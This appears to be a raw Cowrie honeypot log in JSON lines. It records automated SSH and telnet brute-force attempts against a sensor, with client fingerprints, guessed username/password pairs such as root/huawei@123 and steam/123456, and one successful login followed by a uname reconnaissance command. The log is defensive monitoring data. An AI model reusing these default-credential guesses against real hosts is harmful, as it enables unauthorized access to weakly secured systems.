SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:28:53.209138Z","src_ip":"176.65.139.95","session":"cf5f7b6bd75b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"huawei@123","message":"login attempt [root/huawei@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:28:53.641268Z","src_ip":"176.65.139.95","session":"cf5f7b6bd75b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:28:53.847059Z","src_ip":"80.94.92.186","session":"9392710361ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:28:53.862657Z","src_ip":"213.209.159.159","session":"d49b87f6c9c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:28:54.973679Z","src_ip":"176.65.139.95","session":"cf5f7b6bd75b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":34998,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a35473f432b","protocol":"ssh","message":"New connection: 176.65.139.95:34998 (159.203.135.109:22) [session: 7a35473f432b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:28:59.468021Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:28:59.479297Z","src_ip":"176.65.139.95","session":"7a35473f432b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:28:59.568572Z","src_ip":"176.65.139.95","session":"7a35473f432b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"leonardo","password":"leonardo","message":"login attempt [leonardo/leonardo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:29:00.028037Z","src_ip":"176.65.139.95","session":"7a35473f432b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:29:01.115233Z","src_ip":"176.65.139.95","session":"7a35473f432b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.119.40.230","src_port":37458,"dst_ip":"10.17.0.5","dst_port":23,"session":"87eccddec0cb","protocol":"telnet","message":"New connection: 157.119.40.230:37458 (10.17.0.5:23) [session: 87eccddec0cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:29:01.491560Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":35010,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c91ea880da0","protocol":"ssh","message":"New connection: 176.65.139.95:35010 (159.203.135.109:22) [session: 4c91ea880da0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:29:05.947357Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:29:05.968236Z","src_ip":"176.65.139.95","session":"4c91ea880da0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:29:06.187809Z","src_ip":"176.65.139.95","session":"4c91ea880da0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"terraria","password":"123456","message":"login attempt [terraria/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:29:06.668025Z","src_ip":"176.65.139.95","session":"4c91ea880da0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:29:07.754460Z","src_ip":"176.65.139.95","session":"4c91ea880da0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":46136,"dst_ip":"159.203.135.109","dst_port":22,"session":"98c47b747a22","protocol":"ssh","message":"New connection: 176.65.139.95:46136 (159.203.135.109:22) [session: 98c47b747a22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:29:12.697309Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:29:12.706583Z","src_ip":"176.65.139.95","session":"98c47b747a22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:29:12.790808Z","src_ip":"176.65.139.95","session":"98c47b747a22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Aa123456","message":"login attempt [user/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:29:13.181314Z","src_ip":"176.65.139.95","session":"98c47b747a22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34056,"dst_ip":"159.203.135.109","dst_port":22,"session":"ab8e60b4ed93","protocol":"ssh","message":"New connection: 159.203.92.129:34056 (159.203.135.109:22) [session: ab8e60b4ed93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:29:13.830637Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:29:13.835940Z","src_ip":"159.203.92.129","session":"ab8e60b4ed93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:29:13.844113Z","src_ip":"159.203.92.129","session":"ab8e60b4ed93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"GTR","password":"GTR","message":"login attempt [GTR/GTR] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:29:13.904549Z","src_ip":"159.203.92.129","session":"ab8e60b4ed93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:29:14.267302Z","src_ip":"176.65.139.95","session":"98c47b747a22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:29:14.910918Z","src_ip":"159.203.92.129","session":"ab8e60b4ed93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":53324,"dst_ip":"159.203.135.109","dst_port":22,"session":"83847392f2c5","protocol":"ssh","message":"New connection: 176.65.139.95:53324 (159.203.135.109:22) [session: 83847392f2c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:29:18.964497Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:29:18.975174Z","src_ip":"176.65.139.95","session":"83847392f2c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:29:19.049568Z","src_ip":"176.65.139.95","session":"83847392f2c5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"123456","message":"login attempt [steam/123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:29:19.521622Z","src_ip":"176.65.139.95","session":"83847392f2c5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:29:19.738464Z","src_ip":"176.65.139.95","session":"83847392f2c5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:29:19.742059Z","src_ip":"176.65.139.95","session":"83847392f2c5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:29:19.827910Z","src_ip":"176.65.139.95","session":"83847392f2c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:29:19.833314Z","src_ip":"176.65.139.95","session":"83847392f2c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":53332,"dst_ip":"159.203.135.109","dst_port":22,"session":"8959153c4d34","protocol":"ssh","message":"New connection: 176.65.139.95:53332 (159.203.135.109:22) [session: 8959153c4d34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:29:25.585188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:29:25.617329Z","src_ip":"176.65.139.95","session":"8959153c4d34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:29:25.824966Z","src_ip":"176.65.139.95","session":"8959153c4d34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11","message":"login attempt [root/11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:29:26.278567Z","src_ip":"176.65.139.95","session":"8959153c4d34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:29:27.364324Z","src_ip":"176.65.139.95","session":"8959153c4d34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.605955600738525,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:29:32.097438Z","src_ip":"157.119.40.230","session":"87eccddec0cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":59254,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e103d48a2bb","protocol":"ssh","message":"New connection: 176.65.139.95:59254 (159.203.135.109:22) [session: 3e103d48a2bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:29:32.169677Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:29:32.175464Z","src_ip":"176.65.139.95","session":"3e103d48a2bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:29:32.257834Z","src_ip":"176.65.139.95","session":"3e103d48a2bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"worker","password":"worker","message":"login attempt [worker/worker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:29:32.547379Z","src_ip":"176.65.139.95","session":"3e103d48a2bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:29:33.634617Z","src_ip":"176.65.139.95","session":"3e103d48a2bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.116.23.158","src_port":45470,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd0f0cafb572","protocol":"ssh","message":"New connection: 79.116.23.158:45470 (10.17.0.5:22) [session: fd0f0cafb572]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:29:36.840197Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:29:36.845042Z","src_ip":"79.116.23.158","session":"fd0f0cafb572","protocol":"ssh"}
